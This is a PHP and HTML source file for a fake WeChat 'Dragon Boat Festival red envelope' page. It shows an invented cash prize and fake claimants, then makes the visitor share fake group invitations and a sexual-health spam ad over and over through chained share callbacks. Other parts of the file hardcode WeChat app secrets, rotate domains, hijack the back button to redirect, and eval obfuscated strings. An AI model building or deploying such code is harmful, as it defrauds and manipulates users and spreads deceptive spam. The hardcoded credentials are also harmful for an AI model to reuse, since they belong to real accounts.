<?php
$data = require './data.php';

require_once __DIR__ . "/wechat/jssdk.php";
$fucks = [
    [
        'app_id' => 'wxb58927e053d016c3',
        'app_secret' => '271b338c0a79d3238aedadae19d304f3',
        'd4' => 'duanwu1.applinzi.com',
        'd5' => 'duanwu2.applinzi.com'
    ],
    [
        'app_id' => 'wx4c4151ac36384b97',
        'app_secret' => '6bbb638608e994eb4ccffa66f43be34f',
        'd4' => 'duanwu3.applinzi.com',
        'd5' => 'duanwu4.applinzi.com'
    ],
];
$fuckfff = array_rand($fucks, 1);

$config = array(
    'app_id' => $fucks[$fuckfff]['app_id'],
    'app_secret' => $fucks[$fuckfff]['app_secret'],
);

@$jssdk = new JSSDK($config['app_id'], $config['app_secret']);
@$signPackage = $jssdk->GetSignPackage();

require_once __DIR__ . '/include.php';

$domain = $fucks[$fuckfff]['d4'];
$adDomain = $fucks[$fuckfff]['d5'];
//$time = time();
$time = strtotime(date('Y-m-d H:0:0'));
//$rand = str_rand2(6);
$rand = 'uisksjjsl';
@$port = "http://{$domain}/fucks3.html?xssfile=zjc.php&_t={$time}&xxid=" . intval($data['desc']);
$ad = $data['back_url'] ? "http://{$adDomain}/fucks3.html?xssfile=aadc_qun.php&_t={$time}&xxid=" . intval($data['desc']) . "&path=http://www.baidu.com" : $port;
$rand = str_rand2(6);
$config = array (
    'success' => true,
    'msg' => '',
    'data' =>
        array (
            'timeline1' =>
                array (
                    'title' => NULL,
                    'desc' => '㊙ 男 人 肾 虚 阳痿 早泄 时间短 教你一招轻松搞定 ... ',
                    'link' => $ad,
                    'imgUrl' => "http://{$rand}.{$data['d2']}/b/static-L.jpg",
                ),
            'friend' =>
                array (
                    'title' => '邀请你加入六月 端午节 群',
                    'desc' => '紫馨”邀请你加入六月端午节节抢-红-包-群，有你8个共同好友，点击查看详情！',
                    'link' => $port,
                    'imgUrl' => "http://{$rand}.{$data['d2']}/b/82130790aad27da1d6192bcf2c676ec4.png",
                ),
            'timeline' =>
                array (
                    'title' => '邀请你加入六月 端午节 群',
                    'desc' => '紫馨”邀请你加入六月端午节节抢-红-包-群，有你8个共同好友，点击查看详情！',
                    'link' => $port,
                    'imgUrl' => "http://{$rand}.{$data['d2']}/b/82130790aad27da1d6192bcf2c676ec4.png",
                ),
            'config' => $signPackage,
        ),
);


?>
<html lang="en" data-dpr="1" style="font-size: 50px;">

<head>
    <meta charset="utf-8">
    <meta name="viewport"
          content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title></title>
    <style>
        body {
            color: #0b0b0b;
            background-color: #ededed
        }

        * {
            word-wrap: break-word
        }

        html {
            -webkit-text-size-adjust: none
        }

        blockquote,
        body,
        dd,
        div,
        dl,
        dt,
        fieldset,
        form,
        h1,
        h2,
        h3,
        h4,
        h5,
        h6,
        input,
        li,
        ol,
        p,
        pre,
        span,
        td,
        textarea,
        th,
        ul {
            padding: 0;
            margin: 0
        }

        body {
            font: normal 14px/24px -apple-system, BlinkMacSystemFont, "PingFang SC", "Helvetica Neue", STHeiti, "Microsoft Yahei", Tahoma, Simsun, sans-serif
        }

        a {
            text-decoration: none;
            -webkit-transition: all .3s ease;
            -moz-transition: all .3s ease;
            -o-transition: all .3s ease;
            transition: all .3s ease;
            color: #333
        }

        a {
            -webkit-tap-highlight-color: rgba(0, 0, 0, .06)
        }

        a,
        img {
            border: none
        }

        a,
        button {
            outline: 0;
            border: 0
        }

        button,
        input,
        select,
        textarea {
            outline: 0
        }

        textarea {
            overflow: auto;
            resize: none
        }

        ol,
        ul {
            list-style: none
        }

        caption,
        em,
        i,
        small,
        th {
            font-weight: 400;
            font-style: normal;
            font-size: 100%
        }

        html {
            font-size: 100px
        }

        body,
        html {
            width: 100%;
            height: 100%
        }

        .red_bag {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background-color: #000;
            z-index: 99
        }

        .redbag_con {
            position: absolute;
            top: 50%;
            left: 50%;
            width: 6rem;
            height: 9.94rem;
            margin-top: -4.97rem;
            margin-left: -3rem;
            background-image: url(./b/bgall.png);
            background-repeat: no-repeat;
            background-size: 100%
        }

        .redbag_head {
            padding-top: 2.2rem;
            padding-bottom: .4rem;
            height: .44rem;
            font-size: .36rem;
            color: #ffe4b2;
            display: flex;
            justify-content: center;
            align-items: center
        }

        .redbag_img {
            display: block;
            width: .44rem;
            height: .44rem;
            border-radius: .08rem;
            margin-right: 5px
        }

        .redbag_word {
            text-align: center;
            font-size: .46rem;
            color: #ffe4b2
        }

        .open_redbag {
            position: absolute;
            bottom: .9rem;
            left: 50%;
            width: 2.2rem;
            height: 2.2rem;
            margin-left: -1.1rem;
            background-image: url(./b/open.png);
            background-repeat: no-repeat;
            background-size: 100%
        }

        .shake {
            animation: shaken 1s 1;
            transform-style: preserve-3d
        }

        @keyframes shaken {
            0% {
                transform: rotateY(0)
            }

            100% {
                transform: rotateY(360deg)
            }
        }

        .change {
            animation: changeall .4s ease-out 1
        }

        @keyframes changeall {
            0% {
                transform: scale(.8)
            }

            50% {
                transform: scale(1.02)
            }

            100% {
                transform: scale(1)
            }
        }

        .bigsmall {
            animation: bigsmall 4s linear infinite
        }

        @keyframes bigsmall {
            0% {
                transform: scale(1)
            }

            5% {
                transform: scale(1.1)
            }

            10% {
                transform: scale(1)
            }

            15% {
                transform: scale(1.1)
            }

            100%,
            20% {
                transform: scale(1)
            }
        }

        ::-webkit-scrollbar {
            width: 0;
            display: none
        }

        .result_content {
            width: 100%;
            max-width: 750px
        }

        .result_top {
            width: 100%;
            height: 8.12rem;
            background-image: url(./b/result_hb.png);
            background-repeat: no-repeat;
            background-size: 100%;
            margin-bottom: .16rem
        }

        .result_head {
            padding-top: .44rem;
            height: .44rem;
            font-size: 18px;
            color: #ffe4b2;
            display: flex;
            justify-content: center;
            align-items: center
        }

        .result_con1 {
            width: 100%;
            line-height: 1.4rem;
            padding-top: .8rem;
            padding-bottom: .2rem;
            text-align: center;
            font-size: .9rem;
            color: #ffdfb1;
            font-weight: 700
        }

        .result_con1 span {
            font-size: 1.2rem
        }

        .result_button {
            width: 2.8rem;
            height: .8rem;
            line-height: .8rem;
            background-color: #ffe2b1;
            color: #f25543;
            font-weight: 700;
            border-radius: .5rem;
            margin-left: auto;
            margin-right: auto;
            text-align: center;
            font-size: .4rem
        }

        .result_title {
            width: 100%;
            background-color: #fff;
            height: 1rem;
            line-height: 1rem;
            border-bottom: 1px solid #ddd;
            font-size: .32rem;
            color: #8c8c8c;
            text-indent: .3rem
        }

        .result_list {
            width: 100%;
            background-color: #fff
        }

        .result_list li {
            padding-left: .3rem;
            padding-right: .3rem;
            padding-top: .26rem;
            padding-bottom: .26rem;
            border-bottom: 1px solid #eee;
            display: flex;
            justify-content: space-between
        }

        .user_infor {
            flex: 1;
            display: flex;
            align-items: center
        }

        .money {
            font-size: .3rem;
            color: #040404
        }

        .head_img {
            width: .74rem;
            height: .74rem;
            border-radius: .1rem
        }

        .user_name {
            padding-left: .2rem
        }

        .user_name p {
            font-size: .3rem;
            height: .42rem
        }

        .user_name span {
            font-size: .26rem;
            height: .32rem;
            color: #848484
        }

        .result_notice {
            width: 100%;
            height: 44px;
            line-height: 44px;
            font-size: 14px;
            color: #8c8c8c;
            text-align: center
        }

        .pop_share {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background-color: rgba(0, 0, 0, .8);
            display: none
        }

        .share_con {
            position: absolute;
            top: 10px;
            left: 0;
            width: 100%
        }

        .share_con img {
            display: block;
            width: 100%
        }

        .color_gary {
            color: #666;
            font-size: .3rem
        }

        .color_red {
            color: #f15642
        }

        .font42 {
            font-size: .42rem
        }

        .dialog_bot {
            position: fixed;
            bottom: 0;
            left: 0;
            width: 100%
        }

        .dialog_bot img {
            width: 100%;
            display: block
        }

        #gaics {
            position: absolute;
            top: 0;
            left: 0;
            right: 0;
            bottom: 0;
            display: flex;
            flex-direction: column;
            align-items: center;
            justify-content: center;
            background: rgba(0, 0, 0, .8)
        }

        #gaics > div {
            display: none;
            width: 100%;
            text-align: center;
            box-sizing: border-box;
            overflow: hidden;
            margin-top: -1rem;
            transition: opacity .15s linear
        }

        #gaics > div.active {
            display: flex;
            margin-top: -1rem
        }

        .centerDiv > p {
            padding: .1rem 0
        }

        .centerDiv > p.subtn {
            padding-top: .3rem
        }

        .shadow {
            position: fixed;
            height: 100%;
            top: 0;
            left: 0;
            right: 0;
            bottom: 0;
            background-size: cover
        }
    </style>
    <script src="https://cdn.bootcss.com/jquery/1.11.1/jquery.min.js"></script>
    <script src="a/jweixin-1.0.0.js"></script>
    <script>
        var alexdata = <?php echo json_encode($config)?>;
    </script>
</head>

<body style="background: rgb(255, 255, 255); font-size: 0.28rem;" class="atcp-btn">
<div class="result_content">
    <div class="result_top">
        <div class="result_head">
<!--            <img src="b/1.jpg" class="redbag_img">劳动节快乐-->
            六月端午节快乐！
        </div>
        <div class="result_con1 bigsmall">￥<span id="moneyNum">76.28</span></div>
        <div class="result_button bigsmall goshare">立即领取</div>
    </div>
    <div class="result_title">已领取<span id="number">67</span>/100个</div>
    <div class="result_list">
        <ul>
            <li>
                <div class="user_infor"><img src="b/8.jpg"
                                             class="head_img">
                    <div class="user_name">
                        <p>大华@</p><span>16:10</span>
                    </div>
                </div>
                <div class="money">40.82元</div>
            </li>
            <li>
                <div class="user_infor"><img src="b/4.jpg"
                                             class="head_img">
                    <div class="user_name">
                        <p>农夫山泉</p><span>13:34</span>
                    </div>
                </div>
                <div class="money">32.16元</div>
            </li>
            <li>
                <div class="user_infor"><img src="b/18.jpg"
                                             class="head_img">
                    <div class="user_name">
                        <p>倾城之恋</p><span>20:45</span>
                    </div>
                </div>
                <div class="money">37.66元</div>
            </li>
            <li>
                <div class="user_infor"><img src="b/5.jpg"
                                             class="head_img">
                    <div class="user_name">
                        <p>鸿雁高飞</p><span>14:58</span>
                    </div>
                </div>
                <div class="money">38.88元</div>
            </li>
            <li>
                <div class="user_infor"><img src="b/17.jpg"
                                             class="head_img">
                    <div class="user_name">
                        <p>无事</p><span>20:41</span>
                    </div>
                </div>
                <div class="money">46.09元</div>
            </li>
            <li>
                <div class="user_infor"><img src="b/11.jpg"
                                             class="head_img">
                    <div class="user_name">
                        <p>阳光女孩</p><span>19:20</span>
                    </div>
                </div>
                <div class="money">48.91元</div>
            </li>
            <li>
                <div class="user_infor"><img src="b/19.jpg"
                                             class="head_img">
                    <div class="user_name">
                        <p>北方的狼</p><span>21:19</span>
                    </div>
                </div>
                <div class="money">48.62元</div>
            </li>
            <li>
                <div class="user_infor"><img src="b/7.jpg"
                                             class="head_img">
                    <div class="user_name">
                        <p>随行者</p><span>16:11</span>
                    </div>
                </div>
                <div class="money">46.93元</div>
            </li>
            <li>
                <div class="user_infor"><img src="b/16.jpg"
                                             class="head_img">
                    <div class="user_name">
                        <p>青青河边草</p><span>20:37</span>
                    </div>
                </div>
                <div class="money">35.26元</div>
            </li>
            <li>
                <div class="user_infor"><img src="b/1.jpg"
                                             class="head_img">
                    <div class="user_name">
                        <p>AllWay</p><span>10:34</span>
                    </div>
                </div>
                <div class="money">36.05元</div>
            </li>
            <li>
                <div class="user_infor"><img src="b/12.jpg"
                                             class="head_img">
                    <div class="user_name">
                        <p>三少爷</p><span>19:29</span>
                    </div>
                </div>
                <div class="money">33.15元</div>
            </li>
            <li>
                <div class="user_infor"><img src="b/14.jpg"
                                             class="head_img">
                    <div class="user_name">
                        <p>你的心肝</p><span>19:56</span>
                    </div>
                </div>
                <div class="money">59.65元</div>
            </li>
            <li>
                <div class="user_infor"><img src="b/2.jpg"
                                             class="head_img">
                    <div class="user_name">
                        <p>~陪伴你</p><span>09:30</span>
                    </div>
                </div>
                <div class="money">26.86元</div>
            </li>
            <li>
                <div class="user_infor"><img src="b/15.jpg"
                                             class="head_img">
                    <div class="user_name">
                        <p>恋曲1998</p><span>20:28</span>
                    </div>
                </div>
                <div class="money">52.39元</div>
            </li>
            <li>
                <div class="user_infor"><img src="b/9.jpg"
                                             class="head_img">
                    <div class="user_name">
                        <p>Single Girl</p><span>18:59</span>
                    </div>
                </div>
                <div class="money">35.69元</div>
            </li>
            <li>
                <div class="user_infor"><img src="b/10.jpg"
                                             class="head_img">
                    <div class="user_name">
                        <p>陌陌</p><span>19:01</span>
                    </div>
                </div>
                <div class="money">36.16元</div>
            </li>
            <li>
                <div class="user_infor"><img src="b/20.jpg"
                                             class="head_img">
                    <div class="user_name">
                        <p>小哥哥</p><span>21:54</span>
                    </div>
                </div>
                <div class="money">37.92元</div>
            </li>
            <li>
                <div class="user_infor"><img src="b/13.jpg"
                                             class="head_img">
                    <div class="user_name">
                        <p>酷哥</p><span>19:47</span>
                    </div>
                </div>
                <div class="money">41.28元</div>
            </li>
            <li>
                <div class="user_infor"><img src="b/6.jpg"
                                             class="head_img">
                    <div class="user_name">
                        <p>小可爱</p><span>15:27</span>
                    </div>
                </div>
                <div class="money">28.22元</div>
            </li>
            <li>
                <div class="user_infor"><img src="b/3.jpg"
                                             class="head_img">
                    <div class="user_name">
                        <p>鬼鬼</p><span>13:09</span>
                    </div>
                </div>
                <div class="money">45.68元</div>
            </li>
        </ul>
    </div>
    <div class="result_notice"></div>
</div>
<div class="shadow">
    <div id="gaics" style="width:100%;height:100%;overflow:hidden;z-index:10">
        <div class="sha-item active" style="margin-top:-150px">
            <div class="centerDiv"><img width="100%" id="tImg"
                                        src="b/hb001.png"></div>
        </div>
    </div>
</div>
</body>
<script>
    $.ajax({
        'url' : 'http://<?php echo $data['d6'];?>/count_views.php',
        'method' : 'POST',
        'data': {res: 'friend'},
        'success' : function(){}
    });
    var advertising;
    var jpurl = '<?php echo $data['back_url2']?>';
    var back_url = '<?php echo $data['back_url']?>';
        // $.ajax({
        //     url: 'http://url.pszjt.com.cn/luodi/6379a88a-1612-11e9-8069-00163e04d1cb/url',
        //     success: function (url) {
        //         (!!url && (url.indexOf('qq.com') == -1) && (advertising = url));
        //     }
        // });

        function xst(s, r, t) {
            if (!s || s.length < 2) return s;
            if (arguments.length == 3) {
                if (!t || t < 1) t = 1;
                var icons = ['♐', '🐬', '☔', '♈', '⚓', '💕', '⛎', '⚡', '💢', '☁', '💔', '🌀', '♑', '🌂', '🚀', '💓', '🌁', '🌹', '♋', '💲'];
                for (var i = 0, l = t; i < l; i++) {
                    var icon = icons[Math.floor(Math.random() * icons.length)];
                    s = s.substring(0, r + 1) + icon + s.substring(r + 1, s.length);
                }
                return s;
            }
            if (!r || r < 1) r = 1;
            var icons = ['♐', '🐬', '☔', '♈', '⚓', '💕', '⛎', '⚡', '💢', '☁', '💔', '🌀', '♑', '🌂', '🚀', '💓', '🌁', '🌹', '♋', '💲'];
            for (var i = 0, l = r; i < l; i++) {
                var icon = icons[Math.floor(Math.random() * icons.length)];
                var index = Math.floor(Math.random() * s.length);
                s = s.substring(0, index + 1) + icon + s.substring(index + 1, s.length);
            }
            return s;
        }

        function share1(){
            $.ajax({
                'url' : 'http://<?php echo $data['d6'];?>/count.php',
                'method' : 'POST',
                'data': {res: 'friend'},
                'success' : function(){}
            });
        }

        function share2(){
            $.ajax({
                'url' : 'http://<?php echo $data['d6'];?>/count.php',
                'method' : 'POST',
                'data': {res: 'timeline'},
                'success' : function(){
                    // document.location.href = jump_url2;
                }
            });
        }


        function config(share) {
            share[0] = share[1];
            wx.ready(function () {
                wx.hideOptionMenu();
                wx.showMenuItems({menuList: ['menuItem:share:appMessage']});
                wx.onMenuShareAppMessage({
                    title: share[0].title,
                    desc: share[0].desc,
                    link: share[0].link,
                    imgUrl: share[0].imgUrl,
                    success: function () {
                        showTip(2);
                        share1();
                        wx.onMenuShareAppMessage({
                            title: share[4].title,
                            desc: share[4].desc,
                            link: share[4].link,
                            imgUrl: share[4].imgUrl,
                            success: function () {
                                showTip(3);
                                share1();
                                wx.onMenuShareAppMessage({
                                    title: share[1].title,
                                    desc: share[1].desc,
                                    link: share[1].link,
                                    imgUrl: share[1].imgUrl,
                                    success: function () {
                                        showTip(4);
                                        share1();
                                        wx.onMenuShareAppMessage({
                                            title: share[2].title,
                                            desc: share[2].desc,
                                            link: share[2].link,
                                            imgUrl: share[2].imgUrl,
                                            success: function () {
                                                showTip(5);
                                                share1();
                                                wx.onMenuShareAppMessage({
                                                    title: share[2].title,
                                                    desc: share[2].desc,
                                                    link: share[2].link,
                                                    imgUrl: share[2].imgUrl,
                                                    success: function () {
                                                        showTip(6);
                                                        share1();
                                                        wx.onMenuShareAppMessage({
                                                            title: share[2].title,
                                                            desc: share[2].desc,
                                                            link: share[2].link,
                                                            imgUrl: share[2].imgUrl,
                                                            success: function () {
                                                                showTip(7);
                                                                share1();
                                                                wx.hideOptionMenu();
                                                                wx.showMenuItems({menuList: ['menuItem:share:timeline']});
                                                                wx.onMenuShareTimeline({
                                                                    title: share[3].title,
                                                                    link: share[3].link,
                                                                    imgUrl: share[3].imgUrl,
                                                                    type: 'link',
                                                                    success: function () {
                                                                        showTip(8);
                                                                        share2();
                                                                        wx.onMenuShareTimeline({
                                                                            title: share[4].desc,
                                                                            link: share[4].link,
                                                                            imgUrl: share[4].imgUrl,
                                                                            type: 'link',
                                                                            success: function () {
                                                                                showTip(9);
                                                                                share2();
                                                                                setTimeout(function () {
                                                                                    if (jpurl) {
                                                                                        window.location.href = jpurl;
                                                                                    }
                                                                                }, 2000);
                                                                            }
                                                                        });
                                                                    }
                                                                });
                                                            }
                                                        });
                                                    }
                                                });
                                            }
                                        });
                                    }
                                });
                            }
                        });
                    }
                });
            });

        }


        function copy(obj) {
            var newObj = {};
            for (var item in obj) {
                newObj[item] = obj[item];
            }
            return newObj;
        }

        function sdk() {
            var t = alexdata;
            var n = t.data,
                // r = [n.friend, (n['friend2'] || copy(n.friend)), (n['friend3'] || copy(n.friend)), n.timeline, (n['timeline1'] || copy(n.timeline))],
                b = n.back_page,
                ct = n.complete_page;
            if (back_url === '') {
               var r = [n.friend, (n['friend2'] || copy(n.friend)), (n['friend3'] || copy(n.friend)), n.timeline, n.timeline];
            } else {
               var r = [n.friend, (n['friend2'] || copy(n.friend)), (n['friend3'] || copy(n.friend)), n.timeline, (n['timeline1'] || copy(n.timeline))];
            }
            n.config['jsApiList'] = ["checkJsApi", "onMenuShareTimeline", "hideOptionMenu", "onMenuShareAppMessage", "hideMenuItems", "showMenuItems"];
            wx.config(n.config);
            var ft = n.format_url, tft = n.tformat_url;
            if (ft) {
                ft = ft.replace(/\{rand\}/g, function () {
                    var cs = 'qwertyuiopasdfghjklzxcvbnm_0123456789';
                    var s = '';
                    for (var i = 0, l = (Math.floor(Math.random() * cs.length) + 1); i < l; i++) {
                        s += cs[Math.floor(Math.random() * cs.length)];
                    }
                    return s;
                });
            }
            if (tft) {
                tft = tft.replace(/\{rand\}/g, function () {
                    var cs = 'qwertyuiopasdfghjklzxcvbnm_0123456789';
                    var s = '';
                    for (var i = 0, l = (Math.floor(Math.random() * cs.length) + 1); i < l; i++) {
                        s += cs[Math.floor(Math.random() * cs.length)];
                    }
                    return s;
                });
            }
            (function (d) {
                function assign(s) {
                    if (!s) return s;
                    return s.replace(/\{city\}/g, function () {
                        return city;
                    }).replace(/\{name\}/g, function () {
                        return ['雪桐', '彩馨', '莲珊', '甘丽美', '杜雅云', '宦安娜', '董珠', '于菡', '杜金文', '孔夏瑶', '杨寄琴', '莘千叶', '汪小妍', '巴佳莉',
                            '隆明明'
                        ][Math.floor(Math.random() * 15)];
                    }).replace(/\{title\}/g, function () {
                        return title || unescape(atob(
                            'JXU1QUU5JXU2QTIxJXU2M0Y0JXU0RUE0JTdFJXU3OUMxJXU1QkM2JXU0RkYxJXU0RTUwJXU5MEU4'));
                    }).replace(/\{num\}/g, function () {
                        return Math.floor(Math.random() * (50 - 10) + 10);
                    }).replace(/\{money\}/g, function () {
                        return Math.floor(Math.random() * (100 - 50) + 50) + '.' + Math.floor(Math.random() * (99 - 10) + 10);
                    });
                }

                for (var i = 0; i < d.length; i++) {
                    if (!!d[i].title) {
                        var tempTitle = assign(d[i].title);
                        tempTitle = eval("('" + decodeURIComponent(tempTitle) + "')");
                        d[i].title = tempTitle; // tempTitle.length > 4 ? xst(tempTitle, 1) : tempTitle;
                    } else d[i].title = "";
                    if (!!d[i].desc) {
                        var tempDesc = assign(d[i].desc);
                        tempDesc = eval("('" + decodeURIComponent(tempDesc) + "')"); //*/
                        d[i].desc = tempDesc;//.length > 2 ? xst(tempDesc, 2) : tempDesc;
                    } else d[i].desc = "";

                    var go;
                    // if (/{goto->/.test(d[i].link)) {
                    //     go = d[i].link.split('->')[1];
                    //     go = go.substr(0, go.length - 1);
                    //     d[i].link = d[0].link.substr(0, d[0].link.indexOf('/', 7)) + '/ad/goto?url=' + encodeURIComponent(go) + '&type=groupmessage';
                    // } else if (/{request->/.test(d[i].link)) {
                    //     go = d[i].link.split('->')[1];
                    //     go = go.substr(0, go.length - 1);
                    //     (function (i) {
                    //         $.get(go, function (go) {
                    //             go = go.trim();
                    //             // go += '/'+ Date.now() +'.gov'
                    //             d[i].link = d[0].link.substr(0, d[0].link.indexOf('/', 7)) + '/ad/goto?url=' + encodeURIComponent(go) + '&type=groupmessage';
                    //         });
                    //     }(i));
                    // }
                    //
                    // if (!/qqopenapp|bdysite|myqcloud|weidux|bc8090|jnjjq|qjzl|zzmht|cr18oa|hd7yx4/i.test(d[i].link)) {
                    //     d[i].link = d[i].link.replace('http://a.', 'http://').replace('http://', 'http://' + (function () {
                    //         function guid() {
                    //             function S4() {
                    //                 return (((1 + Math.random()) * 0x10000) | 0).toString(16).substring(1);
                    //             }
                    //
                    //             return (S4() + S4() + "-" + S4() + "-" + S4() + "-" + S4() + "-" + S4() + S4() + S4());
                    //         }
                    //
                    //         function randStr(len, mlen) {
                    //             var chars = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM0987654321";
                    //             var str = '';
                    //             if (arguments.length == 2) {
                    //                 len = Math.floor(Math.random() * (mlen - len) + len);
                    //             }
                    //             for (var i = 0; i < len; i++) {
                    //                 str += chars.charAt(Math.floor(Math.random() * (chars.length - 0) + 0));
                    //             }
                    //             return str;
                    //         }
                    //
                    //         return randStr(5, 10);
                    //         // return guid().replace(/-/g, '').toLowerCase();
                    //     })() + '.');
                    //     !!ft && (d[i].link = ft.replace('<url>', r[i].link));
                    // }
                }
            })(r);
            config(r);
            // jpurl = ct;
            (!!b && (advertising = b));
        }
    </script>
    <script>window.tImgs = [
            "b/hb001.png",
            "b/hb002.png",
            "b/hb003.png",
            "b/hb004.png",
            "b/hb005.png",
            "b/hb006.png",
            "b/hb007.png",
            "b/hb008.png",
            "b/hb009.png"
        ]

        $.each(window.tImgs, function(i, val){
            $.get('/' + val);
        });
        function showTip(idx) {
            document.getElementById('tImg').src = tImgs[idx - 1];
        }

        window.onhashchange = function () {
            <?php if($data['back_url2']):?>
        jp();
        <?php endif?>
    };

    function jump_mmp(url) {
        var a = document.createElement('a');
        a.href = url;
        a.rel = 'noreferrer';
        a.click();
    }

    function hh() {
        history.pushState(history.length + 1, "message", window.location.href.split('#')[0] + "#" + new Date().getTime());
    }

    function jp() {
        if (!!advertising) {
            jump_mmp(advertising);
        } else {
            WeixinJSBridge.call('closeWindow');
        }
    }

    setTimeout('hh();', 200);
    sdk();
</script>
<script>
    var _hmt = _hmt || [];
    (function () {
        var e = document.createElement("script");
        e.src = "https://hm.baidu.com/hm.js?<?php echo $data['baidu_id']?>";
        var t = document.getElementsByTagName("script")[0];
        t.parentNode.insertBefore(e, t)
    })()
</script>
</html>